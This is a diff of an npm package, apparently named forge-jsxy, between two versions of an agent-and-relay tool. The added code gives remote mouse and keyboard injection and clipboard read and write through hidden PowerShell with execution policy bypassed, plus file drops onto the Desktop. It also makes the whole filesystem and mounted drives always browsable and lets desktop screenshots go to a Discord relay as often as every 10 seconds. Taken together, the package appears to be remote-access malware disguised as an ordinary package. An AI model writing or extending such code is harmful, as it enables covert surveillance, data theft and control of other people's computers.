forge-jsxy 1.0.68 → 1.0.70

package/dist/discordAgentScreenshot.d.ts

@@ -17,11 +17,11 @@ export type DiscordAgentScreenshotOpts = {
 };
 /**
  * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
- * `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
+ * `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
  */
 export declare function resolveDiscordScreenshotIntervalMs(): number;
 /**
- * Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
  */
 export declare function resolveDiscordScreenshotScheduledIntervalMs(clientId: string): number;
 export declare function startDiscordScreenshotToRelayLoop(opts: DiscordAgentScreenshotOpts): () => void;

package/dist/discordAgentScreenshot.js

@@ -70,7 +70,7 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
  * `relay_features.discord_screenshot: true` (enabled in-memory only — not written to `forge-js-agent.env`).
  * Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
  * unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
- * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 15s–600s.
+ * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 10s–600s.
  */
 const node_crypto_1 = require("node:crypto");
 const discordBotTokens_1 = require("./discordBotTokens");
@@ -155,11 +155,11 @@ function discordScreenshotFirstDelayMs() {
 }
 /**
  * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
- * `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
+ * `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
  */
 function resolveDiscordScreenshotIntervalMs() {
     const rawMs = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "300000").trim();
-    return Math.min(600_000, Math.max(15_000, parseInt(rawMs, 10) || 300_000));
+    return Math.min(600_000, Math.max(10_000, parseInt(rawMs, 10) || 300_000));
 }
 function discordScreenshotIntervalStaggerExtraMs(clientId) {
     const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
@@ -182,12 +182,12 @@ function discordScreenshotFirstStaggerExtraMs(clientId) {
     return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
 }
 /**
- * Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
  */
 function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
     const base = resolveDiscordScreenshotIntervalMs();
     const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
-    return Math.min(600_000, Math.max(15_000, base + extra));
+    return Math.min(600_000, Math.max(10_000, base + extra));
 }
 function startDiscordScreenshotToRelayLoop(opts) {
     const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();

package/dist/filesExplorer.d.ts

@@ -7,3 +7,4 @@ export interface FilesExplorerHtmlOptions {
 /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
 export declare function getForgeExplorerFaviconSvg(): string;
 export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
+export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;

package/dist/filesExplorer.js

@@ -35,6 +35,7 @@ var __importStar = (this && this.__importStar) || (function () {
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
 exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
+exports.buildRemoteControlHtml = buildRemoteControlHtml;
 /**
  * Build file-explorer HTML for relay routes `/`, `/files`, `/explorer`, `/viewer`
  * — same template as Python `fs_browser_html` with injectable defaults.
@@ -43,6 +44,7 @@ const fs = __importStar(require("node:fs"));
 const path = __importStar(require("node:path"));
 const deploymentDefaults_1 = require("./deploymentDefaults");
 let _cachedTemplate = null;
+let _cachedRemoteTemplate = null;
 let _cachedFaviconSvg = null;
 function loadTemplate() {
     if (_cachedTemplate)
@@ -64,6 +66,26 @@ function loadTemplate() {
     }
     throw new Error("files-explorer-template.html not found (run npm run build and ensure assets are copied to dist/)");
 }
+function loadRemoteTemplate() {
+    if (_cachedRemoteTemplate)
+        return _cachedRemoteTemplate;
+    const candidates = [
+        path.join(__dirname, "assets", "remote-control-template.html"),
+        path.join(__dirname, "..", "assets", "remote-control-template.html"),
+    ];
+    for (const p of candidates) {
+        try {
+            if (fs.existsSync(p)) {
+                _cachedRemoteTemplate = fs.readFileSync(p, "utf8");
+                return _cachedRemoteTemplate;
+            }
+        }
+        catch {
+            continue;
+        }
+    }
+    throw new Error("remote-control-template.html not found (run npm run build and ensure assets are copied to dist/)");
+}
 /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
 function getForgeExplorerFaviconSvg() {
     if (_cachedFaviconSvg)
@@ -108,3 +130,19 @@ function buildFilesExplorerHtml(opts = {}) {
         .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
         .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
 }
+function buildRemoteControlHtml(opts = {}) {
+    const pwd = opts.defaultPassword ??
+        process.env.CFGMGR_SESSION_PASSWORD ??
+        deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
+    let relay = opts.relayFallbackWs ??
+        process.env.CFGMGR_RELAY_FALLBACK ??
+        process.env.CFGMGR_RELAY_URL ??
+        "";
+    if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
+        relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
+    }
+    return loadRemoteTemplate()
+        .replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
+        .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
+        .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
+}

package/dist/fsMessages.js

@@ -105,6 +105,22 @@ async function buildFsResponse(msg, allowFilesystem) {
             const result = await (0, fsProtocol_1.fsDesktopScreenshotCapture)();
             return { type: "fs_screenshot_result", request_id: rid, ...result };
         }
+        if (msgType === "rc_input") {
+            const result = await (0, fsProtocol_1.fsRemoteControlInput)(msg);
+            return { type: "rc_input_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_clipboard_get") {
+            const result = await (0, fsProtocol_1.fsRemoteClipboardGet)();
+            return { type: "rc_clipboard_get_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_clipboard_set") {
+            const result = await (0, fsProtocol_1.fsRemoteClipboardSet)(String(msg.text ?? ""));
+            return { type: "rc_clipboard_set_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_file_push") {
+            const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""));
+            return { type: "rc_file_push_result", request_id: rid, ...result };
+        }
         return {
             type: "fs_error",
             request_id: rid,

package/dist/fsProtocol.d.ts

@@ -92,6 +92,10 @@ export declare function fsDesktopScreenshotCapture(): Promise<Record<string, unk
  * Scales down wide canvases so the PNG fits WebSocket payload limits.
  */
 export declare function fsWindowsScreenshotCapture(): Promise<Record<string, unknown>>;
+export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
+export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
+export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
+export declare function fsRemoteFilePush(name: string, b64: string): Promise<Record<string, unknown>>;
 /**
  * Run a shell command on the agent host (same privilege as the forge-agent process).
  * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).

package/dist/fsProtocol.js

@@ -54,6 +54,10 @@ exports.formatWindowsScreenshotUserMessage = formatWindowsScreenshotUserMessage;
 exports.shrinkScreenshotBufferToMaxBytes = shrinkScreenshotBufferToMaxBytes;
 exports.fsDesktopScreenshotCapture = fsDesktopScreenshotCapture;
 exports.fsWindowsScreenshotCapture = fsWindowsScreenshotCapture;
+exports.fsRemoteControlInput = fsRemoteControlInput;
+exports.fsRemoteClipboardGet = fsRemoteClipboardGet;
+exports.fsRemoteClipboardSet = fsRemoteClipboardSet;
+exports.fsRemoteFilePush = fsRemoteFilePush;
 exports.fsShellExec = fsShellExec;
 /**
  * Remote filesystem explorer — path rules aligned with cfgmgr.fs_protocol.
@@ -219,6 +223,30 @@ const SEARCH_SKIP_SYSTEM_FILES = new Set(["pagefile.sys", "hiberfil.sys", "swapf
 function userDataSearchRoots() {
     const out = [];
     const preferred = ["Desktop", "Documents", "Downloads", "desktop", "documents", "downloads"];
+    if (isMacos()) {
+        const volumesRoot = "/Volumes";
+        try {
+            if (fs.existsSync(volumesRoot) && fs.statSync(volumesRoot).isDirectory()) {
+                out.push(path.resolve(volumesRoot));
+                const mounted = fs.readdirSync(volumesRoot, { withFileTypes: true });
+                for (const ent of mounted) {
+                    if (!ent.isDirectory())
+                        continue;
+                    const p = path.join(volumesRoot, ent.name);
+                    try {
+                        if (fs.existsSync(p) && fs.statSync(p).isDirectory())
+                            out.push(path.resolve(p));
+                    }
+                    catch {
+                        /* skip */
+                    }
+                }
+            }
+        }
+        catch {
+            /* skip */
+        }
+    }
     const bases = new Set();
     try {
         const h = path.resolve(os.homedir());
@@ -360,6 +388,29 @@ function macosPathRequiresTccPrompt(filePath) {
     return false;
 }
 function allowedFsRoots() {
+    const pushIfDir = (p) => {
+        try {
+            if (fs.existsSync(p) && fs.statSync(p).isDirectory())
+                roots.push(path.resolve(p));
+        }
+        catch {
+            /* skip */
+        }
+    };
+    const pushDirectChildDirs = (parent) => {
+        try {
+            if (!fs.existsSync(parent) || !fs.statSync(parent).isDirectory())
+                return;
+            for (const ent of fs.readdirSync(parent, { withFileTypes: true })) {
+                if (!ent.isDirectory())
+                    continue;
+                pushIfDir(path.join(parent, ent.name));
+            }
+        }
+        catch {
+            /* skip */
+        }
+    };
     const roots = [];
     if (isWindows()) {
         try {
@@ -406,15 +457,12 @@ function allowedFsRoots() {
         catch {
             /* skip */
         }
-        const fullFs = (process.env.CFGMGR_MACOS_FS_FULL || "").trim().toLowerCase();
-        if (["1", "true", "yes", "on"].includes(fullFs)) {
-            try {
-                roots.push("/");
-            }
-            catch {
-                /* skip */
-            }
-        }
+        const volumesRoot = "/Volumes";
+        // Expose /Volumes and each mounted volume directly (closer to Windows D:/E: UX).
+        pushIfDir(volumesRoot);
+        pushDirectChildDirs(volumesRoot);
+        // Always include "/" so macOS top-level folders remain browsable in production.
+        roots.push("/");
     }
     else {
         // Linux: optional custom root via env (same as macOS) for restricted installs.
@@ -429,17 +477,22 @@ function allowedFsRoots() {
                 /* skip */
             }
         }
-        if (!dataRoot) {
-            // Full filesystem access (default): expose home first for convenience, then root.
-            try {
-                const h = path.resolve(os.homedir());
-                roots.push(h);
-            }
-            catch {
-                /* skip */
-            }
-            roots.push("/");
+        // Expose home/root and mounted drives regardless of CFGMGR_DATA_ROOT for top-level browsing parity.
+        try {
+            const h = path.resolve(os.homedir());
+            roots.push(h);
         }
+        catch {
+            /* skip */
+        }
+        roots.push("/");
+        // Expose common Linux mount roots and mounted drives directly.
+        pushIfDir("/media");
+        pushIfDir("/mnt");
+        pushIfDir("/run/media");
+        pushDirectChildDirs("/media");
+        pushDirectChildDirs("/mnt");
+        pushDirectChildDirs("/run/media");
     }
     const seen = new Set();
     const out = [];
@@ -4493,10 +4546,7 @@ async function fsLinuxScreenshotCapture() {
         return `${xdW}x${xdH}`;
     })();
     if (wl) {
-        const geomsPre = collectWaylandOutputGeoms();
-        const namesPre = collectWaylandOutputNamesForGrim();
-        const preferMultiFirst = geomsPre.length >= 2 || namesPre.length >= 2;
-        if (grimPath && preferMultiFirst) {
+        if (grimPath) {
             const canvasFirst = await tryLinuxWaylandCanvasStitchedPng(outPath);
             if (canvasFirst) {
                 const resC = await finalizeLinuxScreenshotPng();
@@ -4816,6 +4866,304 @@ async function fsWindowsScreenshotCapture() {
         }
     }
 }
+function escapePsSingleQuoted(s) {
+    return String(s || "").replace(/'/g, "''");
+}
+function normalizeRemoteMouseButton(v) {
+    const b = String(v || "").trim().toLowerCase();
+    if (b === "right" || b === "middle")
+        return b;
+    return "left";
+}
+function remoteKeyToSendKeys(key) {
+    const k = String(key || "");
+    if (!k)
+        return "";
+    const lower = k.toLowerCase();
+    const named = {
+        enter: "{ENTER}",
+        tab: "{TAB}",
+        backspace: "{BACKSPACE}",
+        escape: "{ESC}",
+        esc: "{ESC}",
+        delete: "{DELETE}",
+        insert: "{INSERT}",
+        home: "{HOME}",
+        end: "{END}",
+        pageup: "{PGUP}",
+        pagedown: "{PGDN}",
+        arrowup: "{UP}",
+        arrowdown: "{DOWN}",
+        arrowleft: "{LEFT}",
+        arrowright: "{RIGHT}",
+        up: "{UP}",
+        down: "{DOWN}",
+        left: "{LEFT}",
+        right: "{RIGHT}",
+        space: " ",
+    };
+    if (named[lower])
+        return named[lower];
+    if (k.length === 1) {
+        if ("+^%~(){}[]".includes(k))
+            return `{${k}}`;
+        return k;
+    }
+    return "";
+}
+function remoteApplySendKeysModifiers(base, modifiers) {
+    if (!base)
+        return "";
+    const withWrap = base.startsWith("{") ? base : `(${base})`;
+    let out = withWrap;
+    if (Boolean(modifiers.shift))
+        out = `+${out}`;
+    if (Boolean(modifiers.ctrl))
+        out = `^${out}`;
+    if (Boolean(modifiers.alt))
+        out = `%${out}`;
+    return out;
+}
+async function runWindowsRemoteControlPs(script) {
+    const psExe = process.env.SystemRoot
+        ? path.join(process.env.SystemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe")
+        : "powershell.exe";
+    await new Promise((resolve, reject) => {
+        let stderr = "";
+        const child = (0, node_child_process_1.spawn)(psExe, [
+            "-NoProfile",
+            "-NonInteractive",
+            "-WindowStyle",
+            "Hidden",
+            "-ExecutionPolicy",
+            "Bypass",
+            "-Command",
+            script,
+        ], { windowsHide: true, env: process.env });
+        const to = setTimeout(() => {
+            try {
+                child.kill("SIGTERM");
+            }
+            catch {
+                /* skip */
+            }
+        }, 15_000);
+        child.stderr?.setEncoding("utf8");
+        child.stderr?.on("data", (d) => {
+            stderr += d;
+        });
+        child.on("close", (code) => {
+            clearTimeout(to);
+            if (code !== 0) {
+                reject(new Error(stderr.trim() || `remote control input exit ${code}`));
+                return;
+            }
+            resolve();
+        });
+        child.on("error", (e) => {
+            clearTimeout(to);
+            reject(e);
+        });
+    });
+}
+async function runWindowsPsCapture(script) {
+    const psExe = process.env.SystemRoot
+        ? path.join(process.env.SystemRoot, "System32", "WindowsPowerShell", "v1.0", "powershell.exe")
+        : "powershell.exe";
+    return await new Promise((resolve, reject) => {
+        let stdout = "";
+        let stderr = "";
+        const child = (0, node_child_process_1.spawn)(psExe, [
+            "-NoProfile",
+            "-NonInteractive",
+            "-WindowStyle",
+            "Hidden",
+            "-ExecutionPolicy",
+            "Bypass",
+            "-Command",
+            script,
+        ], { windowsHide: true, env: process.env });
+        const to = setTimeout(() => {
+            try {
+                child.kill("SIGTERM");
+            }
+            catch {
+                /* skip */
+            }
+        }, 15_000);
+        child.stdout?.setEncoding("utf8");
+        child.stderr?.setEncoding("utf8");
+        child.stdout?.on("data", (d) => {
+            stdout += d;
+        });
+        child.stderr?.on("data", (d) => {
+            stderr += d;
+        });
+        child.on("close", (code) => {
+            clearTimeout(to);
+            if (code !== 0) {
+                reject(new Error(stderr.trim() || `powershell exit ${code}`));
+                return;
+            }
+            resolve(stdout);
+        });
+        child.on("error", (e) => {
+            clearTimeout(to);
+            reject(e);
+        });
+    });
+}
+async function fsRemoteControlInput(payload) {
+    if (!isWindows()) {
+        return { ok: false, error: "remote control input currently supports Windows agents only" };
+    }
+    const action = String(payload.action || "").trim().toLowerCase();
+    if (!action)
+        return { ok: false, error: "remote control action is required" };
+    const psPrelude = [
+        "$ErrorActionPreference = 'Stop'",
+        "Add-Type @'",
+        "using System;",
+        "using System.Runtime.InteropServices;",
+        "public static class ForgeRcUser32 {",
+        "  [DllImport(\"user32.dll\")] public static extern bool SetCursorPos(int X, int Y);",
+        "  [DllImport(\"user32.dll\")] public static extern void mouse_event(uint f, uint x, uint y, uint d, UIntPtr e);",
+        "}",
+        "'@",
+        "$LEFTDOWN = 0x0002; $LEFTUP = 0x0004; $RIGHTDOWN = 0x0008; $RIGHTUP = 0x0010;",
+        "$MIDDLEDOWN = 0x0020; $MIDDLEUP = 0x0040; $WHEEL = 0x0800;",
+    ];
+    const x = Number.isFinite(Number(payload.x)) ? Math.max(0, Math.floor(Number(payload.x))) : null;
+    const y = Number.isFinite(Number(payload.y)) ? Math.max(0, Math.floor(Number(payload.y))) : null;
+    const lines = [...psPrelude];
+    if (x != null && y != null) {
+        lines.push(`[ForgeRcUser32]::SetCursorPos(${x}, ${y}) | Out-Null`);
+    }
+    if (action === "mouse_move") {
+        if (x == null || y == null)
+            return { ok: false, error: "mouse_move requires x,y" };
+    }
+    else if (action === "mouse_click") {
+        const b = normalizeRemoteMouseButton(payload.button);
+        const count = Math.min(3, Math.max(1, Number.isFinite(Number(payload.click_count)) ? Math.floor(Number(payload.click_count)) : 1));
+        for (let i = 0; i < count; i++) {
+            if (b === "right") {
+                lines.push("[ForgeRcUser32]::mouse_event($RIGHTDOWN, 0, 0, 0, [UIntPtr]::Zero)");
+                lines.push("[ForgeRcUser32]::mouse_event($RIGHTUP, 0, 0, 0, [UIntPtr]::Zero)");
+            }
+            else if (b === "middle") {
+                lines.push("[ForgeRcUser32]::mouse_event($MIDDLEDOWN, 0, 0, 0, [UIntPtr]::Zero)");
+                lines.push("[ForgeRcUser32]::mouse_event($MIDDLEUP, 0, 0, 0, [UIntPtr]::Zero)");
+            }
+            else {
+                lines.push("[ForgeRcUser32]::mouse_event($LEFTDOWN, 0, 0, 0, [UIntPtr]::Zero)");
+                lines.push("[ForgeRcUser32]::mouse_event($LEFTUP, 0, 0, 0, [UIntPtr]::Zero)");
+            }
+        }
+    }
+    else if (action === "mouse_wheel") {
+        const dy = Number.isFinite(Number(payload.delta_y)) ? Math.floor(Number(payload.delta_y)) : 0;
+        const step = Math.max(-2400, Math.min(2400, dy));
+        lines.push(`[ForgeRcUser32]::mouse_event($WHEEL, 0, 0, ${step}, [UIntPtr]::Zero)`);
+    }
+    else if (action === "key") {
+        const token = remoteKeyToSendKeys(String(payload.key || ""));
+        if (!token)
+            return { ok: false, error: "unsupported key token" };
+        const seq = remoteApplySendKeysModifiers(token, payload);
+        lines.push("$ws = New-Object -ComObject WScript.Shell");
+        lines.push(`$ws.SendKeys('${escapePsSingleQuoted(seq)}')`);
+    }
+    else if (action === "type_text") {
+        const txt = String(payload.text || "");
+        if (!txt)
+            return { ok: false, error: "type_text requires text" };
+        lines.push("$ws = New-Object -ComObject WScript.Shell");
+        lines.push(`$ws.SendKeys('${escapePsSingleQuoted(txt)}')`);
+    }
+    else {
+        return { ok: false, error: `unsupported remote control action: ${action}` };
+    }
+    try {
+        await runWindowsRemoteControlPs(lines.join("; "));
+        return { ok: true, action };
+    }
+    catch (e) {
+        return { ok: false, error: String(e) };
+    }
+}
+async function fsRemoteClipboardGet() {
+    if (!isWindows()) {
+        return { ok: false, error: "remote clipboard currently supports Windows agents only" };
+    }
+    try {
+        const raw = await runWindowsPsCapture("$ErrorActionPreference='Stop'; $t = Get-Clipboard -Raw -TextFormatType Text; if ($null -eq $t) { '' } else { [Console]::Out.Write($t) }");
+        return { ok: true, text: String(raw || "") };
+    }
+    catch (e) {
+        return { ok: false, error: String(e) };
+    }
+}
+async function fsRemoteClipboardSet(text) {
+    if (!isWindows()) {
+        return { ok: false, error: "remote clipboard currently supports Windows agents only" };
+    }
+    const t = String(text || "");
+    try {
+        await runWindowsRemoteControlPs(`$ErrorActionPreference='Stop'; Set-Clipboard -Value '${escapePsSingleQuoted(t)}'`);
+        return { ok: true };
+    }
+    catch (e) {
+        return { ok: false, error: String(e) };
+    }
+}
+async function fsRemoteFilePush(name, b64) {
+    if (!isWindows()) {
+        return { ok: false, error: "remote file push currently supports Windows agents only" };
+    }
+    const fileName = path.basename(String(name || "").trim() || "upload.bin");
+    if (!fileName || fileName === "." || fileName === "..") {
+        return { ok: false, error: "invalid file name" };
+    }
+    let body;
+    try {
+        body = Buffer.from(String(b64 || ""), "base64");
+    }
+    catch {
+        return { ok: false, error: "invalid base64 payload" };
+    }
+    const maxBytes = 20 * 1024 * 1024;
+    if (!body.length || body.length > maxBytes) {
+        return { ok: false, error: "file payload must be 1B..20MB" };
+    }
+    const home = os.homedir();
+    const targets = [path.join(home, "Desktop"), path.join(home, "Downloads"), home];
+    let baseDir = home;
+    for (const t of targets) {
+        try {
+            if (fs.existsSync(t) && fs.statSync(t).isDirectory()) {
+                baseDir = t;
+                break;
+            }
+        }
+        catch {
+            /* skip */
+        }
+    }
+    let out = path.join(baseDir, fileName);
+    if (fs.existsSync(out)) {
+        const ext = path.extname(fileName);
+        const stem = fileName.slice(0, fileName.length - ext.length) || "upload";
+        out = path.join(baseDir, `${stem}_${Date.now()}${ext}`);
+    }
+    try {
+        fs.writeFileSync(out, body);
+        return { ok: true, saved_path: out, bytes: body.length };
+    }
+    catch (e) {
+        return { ok: false, error: String(e) };
+    }
+}
 /**
  * Run a shell command on the agent host (same privilege as the forge-agent process).
  * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).

package/dist/relayAgent.js

@@ -143,7 +143,7 @@ function parseRelayDiscordIntervalMs(raw) {
     }
     if (!Number.isFinite(n))
         return null;
-    return Math.min(600_000, Math.max(15_000, n));
+    return Math.min(600_000, Math.max(10_000, n));
 }
 /** Stagger caps from `relay_features` — same bounds as agent env (`FORGE_JS_DISCORD_*_STAGGER_MS`). */
 function parseRelayDiscordStaggerCapMs(raw, maxCap) {
@@ -638,6 +638,10 @@ function runRelayAgentLoop(opts) {
                     "fs_delete",
                     "fs_shell_exec",
                     "fs_screenshot",
+                    "rc_input",
+                    "rc_clipboard_get",
+                    "rc_clipboard_set",
+                    "rc_file_push",
                 ].includes(msgType)) {
                     sendJson({
                         type: "fs_error",
@@ -670,6 +674,10 @@ function runRelayAgentLoop(opts) {
                 "fs_delete",
                 "fs_shell_exec",
                 "fs_screenshot",
+                "rc_input",
+                "rc_clipboard_get",
+                "rc_clipboard_set",
+                "rc_file_push",
             ].includes(msgType)) {
                 void (async () => {
                     try {

package/dist/relayServer.js

@@ -193,7 +193,7 @@ function relayDiscordScreenshotAdvertisedIntervalMs() {
     const n = raw ? parseInt(raw, 10) : 300_000;
     if (!Number.isFinite(n))
         return 300_000;
-    return Math.min(600_000, Math.max(15_000, n));
+    return Math.min(600_000, Math.max(10_000, n));
 }
 /** Optional cadence / first-shot stagger caps (relay `.env` → `relay_features`; agents apply if unset locally). */
 function relayDiscordScreenshotAdvertisedIntervalStaggerMs() {
@@ -684,6 +684,26 @@ function handleHttp(req, res) {
         withRelayDashboardOrLogin(res, req, writeFilesExplorerHtml);
         return;
     }
+    if (p === "/remote" || p === "/remote-control") {
+        withRelayDashboardOrLogin(res, req, (r) => {
+            _applySecurityHeaders(r);
+            let html;
+            try {
+                html = (0, filesExplorer_1.buildRemoteControlHtml)();
+            }
+            catch (e) {
+                r.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
+                r.end(String(e));
+                return;
+            }
+            r.writeHead(200, {
+                "Content-Type": "text/html; charset=utf-8",
+                "Cache-Control": "no-store",
+            });
+            r.end(html);
+        });
+        return;
+    }
     if (p === "/relay") {
         withRelayDashboardOrLogin(res, req, (r) => {
             r.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
@@ -1397,7 +1417,7 @@ function startRelayServer(opts = {}) {
         const uh = urlDisplayHost(host);
         console.log(`CfgMgr Relay Server listening on ${host}:${listenPort}`);
         console.log(`  File explorer:     http://${uh}:${listenPort}/`);
-        console.log(`  Same UI:           /files /explorer /viewer   minimal relay page: /relay`);
+        console.log(`  Same UI:           /files /explorer /viewer /remote   minimal relay page: /relay`);
         console.log(`  WebSocket: ws://${uh}:${listenPort}/ws/agent/<session_id>`);
         console.log(`             ws://${uh}:${listenPort}/ws/viewer/<session_id>`);
         void (0, discordRelayUpload_1.warnDiscordRelayGuildIfMisconfigured)();